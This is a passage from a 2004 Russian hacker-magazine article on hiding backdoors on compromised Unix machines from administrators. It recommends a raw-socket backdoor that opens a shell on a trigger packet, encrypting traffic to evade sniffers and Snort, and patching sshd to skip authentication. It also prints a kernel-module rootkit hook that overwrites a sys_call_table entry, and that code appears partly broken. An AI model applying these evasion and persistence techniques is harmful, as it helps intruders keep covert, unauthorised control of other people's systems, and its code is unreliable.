Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #47, ОКТЯБРЬ 2004 г.

Невидимость в *nix

Адиль Хаштамов

Спецвыпуск: Хакер, номер #047, стр. 047-036-3


Допустим, нам удалось скрыть бэкдор из списка открытых соединений. А что, если администратор проверяет свою систему не локально, а, например, удаленно с помощью различных программ вроде nmap? Тогда при сканировании администратор заметит, что в системе открыт "левый" порт, а netstat его не показывает. Админ сразу же просечет фишку, и больше мы на его машину не попадем. Именно для таких случаев хакеры придумали еще кое-что для сокрытия своего присутствия в системе. При написании бэкдора следует использовать не SOCK_STREAM, а SOCK_RAW, то есть вместо TCP-сокетов юзать RAW-сокеты. Красивый способ: RAW-сокеты позволяют слушать весь входящий трафик, а это дает нам огромные возможности. Например, мы можем сделать так, чтобы после посылки определенного пакета бэкдор открывал шелл на определенном порту. Примеры подобных бэкдоров - на packetstormsecurity.nl.

Маскируем трафик

Грамотный администратор не всегда ограничивается стандартными средствами при поиске бэкдора в своей системе. Иногда он прибегает к поиску злоумышленника с помощью снифера или IDS, подобной Снорту. А от зоркого глаза (или чуткого носа? :)) “нюхача” не скроется ни один даже самый навороченный бэкдор.

Как же уберечься от надоедливого админа или его кошмарной IDS? Тут поможет только одно – полное шифрование трафика, которое уберет заметный plain text команд из логов снифера. Хакеры используют для этого самые разные криптоалгоритмы: и IDEA, и xTEA, и Blowfish, и Twofish.

Но, даже шифруясь, не стоит забывать, что лишний гигабайт трафика, генерируемый к тому же каким-нибудь RAW-сокетом, заметит даже слепой админ. При использовании чужих мощностей надо знать меру :).

Напоследок

В этой статье я описал лишь самые популярные подходы к маскировке. Время не стоит на месте, постоянно изобретаются все новые и новые способы сокрытия бэкдоров. Старайся не отставать от прогресса, ведь не просто так говорят: "Кто остановился, тот умер!"

Linux Kernel Module

#include <linux/module.h>

#include <linux/kernel.h>

#include <sys/syscall.h>

/* linux ps fake utility.

*

* if fake ps doesn't work, try below SYS_CALLS

*

* 1. SYS_rt_sigaction

* 2. SYS_rt_sigprocmask

* 3. SYS_clone

*

* the main hook function is fakepid(); this function try to

* hook SYS_call = SYS_waitpid, then programm print some inte

* resting message to the screen :)

*

* (c) by stan [unl0ck team] 2004

*/

extern void *sys_call_table[];

int (*origpid)(const char *path);

int fakepid(const char *path)

{

printk("No proccess found!");

return 0;

}

int init_module(void)

{

origpid = sys_call_table[SYS_waitpid];

sys_call_table[SYS_waitpid] = fakepid;

printk("Module successfully loaded!");

return(0);

}

void cleanup_module(void)

{

sys_call_table[SYS_waitpid] = origpid;

printk("Module successfully unloaded!");

}

Хитрости с демонами

Случается так, что опытный администратор ухитряется выловить stealth-бэкдор, даже если в нем применяются все перечисленные здесь механизмы. Продвинутые админы напридумывали кучу самых разных приемов выловить гада. Они используют сниферы и анализируют трафик на предмет чего-то подозрительного, устанавливают жесткую политику брандмауэров. Со всем этим очень сложно бороться стандартными методами. В такой сложной ситуации есть отличный способ остаться незамеченным. Можно немного подкорректировать какой-нибудь сервисный демон. Например, написать патч к ssh, позволяющий беспрепятственно проникнуть в систему без аутентификации и прочих штучек. Ничего особенно трудного здесь нет, нужно лишь немного разбираться в кодинге.

Назад на стр. 047-036-2  Содержание  Вперед на стр. 047-036-4